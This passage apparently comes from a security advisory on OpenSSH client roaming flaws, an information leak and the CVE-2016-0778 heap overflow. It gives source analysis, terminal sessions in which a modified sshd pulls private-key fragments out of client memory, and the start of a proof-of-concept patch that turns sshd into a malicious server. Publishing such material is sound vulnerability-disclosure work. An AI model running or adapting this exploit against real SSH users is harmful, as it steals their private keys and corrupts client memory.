$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s 17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8 L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19 qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB +s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG 8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg== -----END RSA PRIVATE KEY-----

"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1 [connection suspended, press return to resume]Segmentation fault (core dumped)

(this example requires a ProxyCommand because of the NULL-aitop bug described in the Mitigating Factors of the Information Leak section, and crashes because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section)

cat /tmp/roaming-a5eca355/infoleak

ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==

Private Key Disclosure example: CentOS 7, 1024-bit DSA key

$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="CentOS Linux 7 (Core)"

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2 hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4= -----END DSA PRIVATE KEY-----

env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 ...

strings /tmp/roaming-b7b16dfc/infoleak

jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5

strings /tmp/roaming-b324ce87/infoleak

IuQL R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9v

strings /tmp/roaming-24011739/infoleak

KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC

strings /tmp/roaming-37456846/infoleak

LsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA yq4Kwj/

strings /tmp/roaming-988ff54c/infoleak

GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/

strings /tmp/roaming-53887fa5/infoleak

/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4

Private Key Disclosure example: Fedora 20, 2048-bit RSA key

$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="Fedora 20 (Heisenbug)"

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ /B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy 2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5 r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+ ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU= -----END RSA PRIVATE KEY-----

env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 ...

strings /tmp/roaming-a2bbc5f6/infoleak

cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG

strings /tmp/roaming-47b46456/infoleak

RGAcE0nc GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9

strings /tmp/roaming-7a6717ae/infoleak

cawMW4LZ1 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p

strings /tmp/roaming-f3091f08/infoleak

lZ3w0qHe nSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ

strings /tmp/roaming-62a9e9a3/infoleak

lZ3w0qHe r3TwTa0pPEk11 LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37P

strings /tmp/roaming-8de31ed5/infoleak

7qyvNznQ 26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa

strings /tmp/roaming-f5e0fbcc/infoleak

yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxS

strings /tmp/roaming-9be933df/infoleak

QRtzK/GpRuMC1 C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT

strings /tmp/roaming-ee4d1e6c/infoleak

SG3aTqYp tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s

strings /tmp/roaming-c2bfd69c/infoleak

SG3aTqYp 6JmTOun5zVV6A H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s

strings /tmp/roaming-2b3217a1/infoleak

DGLfFGdO r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ

strings /tmp/roaming-1e275747/infoleak

g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+

======================================================================== Buffer Overflow (CVE-2016-0778) ========================================================================

Analysis

Support for roaming was elegantly added to the OpenSSH client: the calls to read() and write() that communicate with the SSH server were replaced by calls to roaming_read() and roaming_write(), two wrappers that depend on wait_for_roaming_reconnect() to transparently reconnect to the server after a disconnection. The wait_for_roaming_reconnect() routine is essentially a sequence of four subroutines:

239 int 240 wait_for_roaming_reconnect(void) 241 { ... 250 fprintf(stderr, "[connection suspended, press return to resume]"); ... 252 packet_backup_state(); 253 / TODO Perhaps we should read from tty here / 254 while ((c = fgetc(stdin)) != EOF) { ... 259 if (c != '\n' && c != '\r') 260 continue; 261 262 if (ssh_connect(host, &hostaddr, options.port, ... 265 options.proxy_command) == 0 && roaming_resume() == 0) { 266 packet_restore_state(); ... 268 fprintf(stderr, "[connection resumed]\n"); ... 270 return 0; 271 } 272 273 fprintf(stderr, "[reconnect failed, press return to retry]"); ... 275 } 276 fprintf(stderr, "[exiting]\n"); ... 278 exit(0); 279 }

  1. packet_backup_state() close()s connection_in and connection_out (the old file descriptors that connected the client to the server), and saves the state of the suspended SSH session (for example, the encryption and decryption contexts).

  2. ssh_connect() opens new file descriptors, and connects them to the SSH server.

  3. roaming_resume() negotiates the resumption of the suspended SSH session with the server, and calls resend_bytes().

  4. packet_restore_state() updates connection_in and connection_out (with the new file descriptors that connect the client to the server), and restores the state of the suspended SSH session.

The new file descriptors for connection_in and connection_out may differ from the old ones (if, for example, files or pipes or sockets are opened or closed between two successive ssh_connect() calls), but unfortunately historical code in OpenSSH assumes that they are constant:

  • In client_loop(), the variables connection_in and connection_out are cached locally, but packet_write_poll() calls roaming_write(), which may assign new values to connection_in and connection_out (if a reconnection occurs), and client_wait_until_can_do_something() subsequently reuses the old, cached values.

  • client_loop() eventually updates these cached values, and the following FD_ISSET() uses a new, updated file descriptor (the fd connection_out), but an old, out-of-date file descriptor set (the fd_set writeset).

  • packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API) first calloc()ates setp, a file descriptor set for connection_in; next, it loops around memset(), FD_SET(), select() and roaming_read(); last, it free()s setp and returns. Unfortunately, roaming_read() may reassign a higher value to connection_in (if a reconnection occurs), but setp is never enlarged, and the following memset() and FD_SET() may therefore overflow setp (a heap-based buffer overflow):

1048 int 1049 packet_read_seqnr(u_int32_t seqnr_p) 1050 { .... 1052 fd_set setp; .... 1058 setp = (fd_set )xcalloc(howmany(active_state->connection_in + 1, 1059 NFDBITS), sizeof(fd_mask)); .... 1065 for (;;) { .... 1075 if (type != SSH_MSG_NONE) { 1076 free(setp); 1077 return type; 1078 } .... 1083 memset(setp, 0, howmany(active_state->connection_in + 1, 1084 NFDBITS) * sizeof(fd_mask)); 1085 FD_SET(active_state->connection_in, setp); .... 1092 for (;;) { .... 1097 if ((ret = select(active_state->connection_in + 1, setp, 1098 NULL, NULL, timeoutp)) >= 0) 1099 break; .... 1115 } .... 1117 do { .... 1119 len = roaming_read(active_state->connection_in, buf, 1120 sizeof(buf), &cont); 1121 } while (len == 0 && cont); .... 1130 } 1131 / NOTREACHED */ 1132 }

  • packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is basically similar to packet_read_seqnr() and may overflow its own setp if roaming_write() (called by packet_write_poll()) reassigns a higher value to connection_out (after a successful reconnection):

1739 void 1740 packet_write_wait(void) 1741 { 1742 fd_set setp; .... 1746 setp = (fd_set )xcalloc(howmany(active_state->connection_out + 1, 1747 NFDBITS), sizeof(fd_mask)); 1748 packet_write_poll(); 1749 while (packet_have_data_to_write()) { 1750 memset(setp, 0, howmany(active_state->connection_out + 1, 1751 NFDBITS) * sizeof(fd_mask)); 1752 FD_SET(active_state->connection_out, setp); .... 1758 for (;;) { .... 1763 if ((ret = select(active_state->connection_out + 1, 1764 NULL, setp, NULL, timeoutp)) >= 0) 1765 break; .... 1776 } .... 1782 packet_write_poll(); 1783 } 1784 free(setp); 1785 }

Mitigating Factors

This buffer overflow affects all OpenSSH clients >= 5.4, but its impact is significantly reduced by the Mitigating Factors detailed in the Information Leak section, and additionally:

  • OpenSSH versions >= 6.8 reimplement packet_backup_state() and packet_restore_state(), but introduce a bug that prevents the buffer overflow from being exploited; indeed, ssh_packet_backup_state() swaps two local pointers, ssh and backup_state, instead of swapping the two global pointers active_state and backup_state:

9 struct ssh active_state, backup_state; ... 238 void 239 packet_backup_state(void) 240 { 241 ssh_packet_backup_state(active_state, backup_state); 242 } 243 244 void 245 packet_restore_state(void) 246 { 247 ssh_packet_restore_state(active_state, backup_state); 248 }

2269 void 2270 ssh_packet_backup_state(struct ssh ssh, 2271 struct ssh backup_state) 2272 { 2273 struct ssh tmp; .... 2279 if (backup_state) 2280 tmp = backup_state; 2281 else 2282 tmp = ssh_alloc_session_state(); 2283 backup_state = ssh; 2284 ssh = tmp; 2285 } .... 2291 void 2292 ssh_packet_restore_state(struct ssh ssh, 2293 struct ssh backup_state) 2294 { 2295 struct ssh tmp; .... 2299 tmp = backup_state; 2300 backup_state = ssh; 2301 ssh = tmp; 2302 ssh->state->connection_in = backup_state->state->connection_in;

As a result, the global pointer backup_state is still NULL when passed to ssh_packet_restore_state(), and crashes the OpenSSH client when dereferenced:

env ROAMING="overflow:A fd_leaks:0" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 15 %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Segmentation fault (core dumped)

This bug prevents the buffer overflow from being exploited, but not the information leak, because the vulnerable function resend_bytes() is called before ssh_packet_restore_state() crashes.

File Descriptor Leak

A back-of-the-envelope calculation indicates that, in order to increase the file descriptor connection_in or connection_out, and thus overflow the file descriptor set setp in packet_read_seqnr() or packet_write_wait(), a file descriptor leak is needed:

  • First, the number of bytes calloc()ated for setp is rounded up to the nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors) on 64-bit systems.

  • Next, in glibc, this number is rounded up to the nearest multiple of MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit systems.

  • Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit systems, of which 24 bytes (or 192 file descriptors) are reserved for setp.

  • In conclusion, a file descriptor leak is needed, because connection_in or connection_out has to be increased by hundreds in order to overflow setp.

The search for a suitable file descriptor leak begins with a study of the behavior of the four ssh_connect() methods, when called for a reconnection by wait_for_roaming_reconnect():

  1. The default method ssh_connect_direct() communicates with the server through a simple TCP socket: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.

In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old TCP socket is close()d by packet_backup_state(), but immediately reused for the new TCP socket in ssh_connect_direct(): the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.

  1. The special ProxyCommand "-" communicates with the server through stdin and stdout, but (as explained in the Mitigating Factors of the Information Leak section) it cannot possibly reconnect to the server, and is therefore immune to this buffer overflow.

  2. Surprisingly, we discovered a file descriptor leak in the ssh_proxy_fdpass_connect() method itself; indeed, the file descriptor sp[1] is never close()d:

101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 106 int sp[2], sock; ... 113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0) 114 fatal("Could not create socketpair to communicate with " 115 "proxy dialer: %.100s", strerror(errno)); ... 161 close(sp[0]); ... 164 if ((sock = mm_receive_fd(sp[1])) == -1) 165 fatal("proxy dialer did not pass back a connection"); ... 171 / Set the connection file descriptors. / 172 packet_set_connection(sock, sock); 173 174 return 0; 175 }

However, two different reasons prevent this file descriptor leak from triggering the setp overflow:

  • The method ssh_proxy_fdpass_connect() communicates with the server through a single socket received from the ProxyCommand: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.

In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old socket is close()d by packet_backup_state(), reused for sp[0] in ssh_proxy_fdpass_connect(), close()d again, and eventually reused again for the new socket: the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.

  • Because of the waitpid() bug described in the Mitigating Factors of the Information Leak section, the method ssh_proxy_fdpass_connect() calls fatal() before it returns to wait_for_roaming_reconnect(), and is therefore immune to this buffer overflow.

  • The method ssh_proxy_connect() communicates with the server through a ProxyCommand and two different pipes: the file descriptor connection_in is the read end of the second pipe (pout[0]), and the file descriptor connection_out is the write end of the first pipe (pin[1]):

180 static int 181 ssh_proxy_connect(const char host, u_short port, const char proxy_command) 182 { ... 184 int pin[2], pout[2]; ... 192 if (pipe(pin) < 0 || pipe(pout) < 0) 193 fatal("Could not create pipes to communicate with the proxy: %.100s", 194 strerror(errno)); ... 240 / Close child side of the descriptors. / 241 close(pin[0]); 242 close(pout[1]); ... 247 / Set the connection file descriptors. / 248 packet_set_connection(pout[0], pin[1]); 249 250 / Indicate OK return / 251 return 0; 252 }

In wait_for_roaming_reconnect(), the two old, low-numbered file descriptors connection_in and connection_out are both close()d by packet_backup_state(), and immediately reused for the pipe(pin) in ssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of these old, low-numbered file descriptors, and cannot possibly overflow setp.

On the other hand, the pipe(pout) in ssh_proxy_connect() may return high-numbered file descriptors, and the new connection_in (pout[0]) may therefore overflow setp, if hundreds of file descriptors were leaked before the call to wait_for_roaming_reconnect():

  • We discovered a file descriptor leak in the pubkey_prepare() function of OpenSSH >= 6.8; indeed, if the client is running an authentication agent that does not offer any private keys, the reference to agent_fd is lost, and this file descriptor is never close()d:

1194 static void 1195 pubkey_prepare(Authctxt *authctxt) 1196 { .... 1200 int agent_fd, i, r, found; .... 1247 if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) { 1248 if (r != SSH_ERR_AGENT_NOT_PRESENT) 1249 debug("%s: ssh_get_authentication_socket: %s", 1250 func, ssh_err(r)); 1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, &idlist)) != 0) { 1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES) 1253 debug("%s: ssh_fetch_identitylist: %s", 1254 func, ssh_err(r)); 1255 } else { .... 1288 authctxt->agent_fd = agent_fd; 1289 } .... 1299 }

However, OpenSSH clients >= 6.8 crash in ssh_packet_restore_state() (because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section) and are immune to the setp overflow, despite this agent_fd leak.

  • If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH client (it is disabled by default), a malicious SSH server can request hundreds of forwardings, in order to increase connection_in (each forwarding opens a file descriptor), and thus overflow setp in packet_read_seqnr():

env ROAMING="overflow:A" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007f0474d03e70 *** Aborted (core dumped)

env ROAMING="overflow:X" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/ssh -X -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in /usr/bin/ssh': free(): invalid next size (fast): 0x00007fdcc2a3aba0 *** *** Error in/usr/bin/ssh': malloc(): memory corruption: 0x00007fdcc2a3abc0 ***

Finally, a brief digression on two unexpected problems that had to be solved in our proof-of-concept:

  • First, setp can be overflowed only in packet_read_seqnr(), not in packet_write_wait(), but agent forwarding and X11 forwarding are post- authentication functionalities, and post-authentication calls to packet_read() or packet_read_expect() are scarce, except in the key-exchange code of OpenSSH clients < 6.8: our proof-of-concept effectively forces a rekeying in order to overflow setp in packet_read_seqnr().

  • Second, after a successful reconnection, packet_read_seqnr() may call fatal("Read from socket failed: %.100s", ...), because roaming_read() may return EAGAIN (EAGAIN is never returned without the reconnection, because the preceding call to select() guarantees that connection_in is ready for read()). Our proof-of-concept works around this problem by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server, allowing data to reach the client before roaming_read() is called, thus avoiding EAGAIN.

======================================================================== Acknowledgments ========================================================================

We would like to thank the OpenSSH developers for their great work and their incredibly quick response, Red Hat Product Security for promptly assigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall Project for the interesting discussions.

======================================================================== Proof Of Concept ========================================================================

diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c --- openssh-6.4p1/auth2-pubkey.c 2013-07-17 23:10:10.000000000 -0700 +++ openssh-6.4p1+roaming/auth2-pubkey.c 2016-01-07 01:04:15.000000000 -0800 @@ -169,7 +169,9 @@ userauth_pubkey(Authctxt authctxt) * if a user is not allowed to login. is this an * issue? -markus / - if (PRIVSEP(user_key_allowed(authctxt->pw, key))) { + if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) { + debug("%s: force client-side load_identity_file", + func); packet_start(SSH2_MSG_USERAUTH_PK_OK); packet_put_string(pkalg, alen); packet_put_string(pkblob, blen); diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c --- openssh-6.4p1/kex.c 2013-06-01 14:31:18.000000000 -0700 +++ openssh-6.4p1+roaming/kex.c 2016-01-07 01:04:15.000000000 -0800 @@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX], }

static void +roaming_reconnect(void) +{ + packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME); + const u_int id = packet_get_int(); / roaming_id / + debug("%s: id %u", func, id); + packet_check_eom(); + + const char const dir = get_roaming_dir(id); + debug("%s: dir %s", func, dir); + const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, dir, errno); + if (fchdir(fd) != 0) + fatal("%s: fchdir %s errno %d", func, dir, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, dir, errno); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED); + packet_put_int64(arc4random()); / chall / + packet_put_int64(arc4random()); / oldchall / + packet_send(); + + packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH); + const u_int64_t client_read_bytes = packet_get_int64(); + debug("%s: client_read_bytes %llu", func, + (unsigned long long)client_read_bytes); + packet_get_int64(); / digest (1-8) / + packet_get_int64(); / digest (9-16) / + packet_get_int(); / digest (17-20) / + packet_check_eom(); + + u_int64_t client_write_bytes; + size_t len = sizeof(client_write_bytes); + load_roaming_file("client_write_bytes", &client_write_bytes, &len); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + + u_int client_out_buf_size; + len = sizeof(client_out_buf_size); + 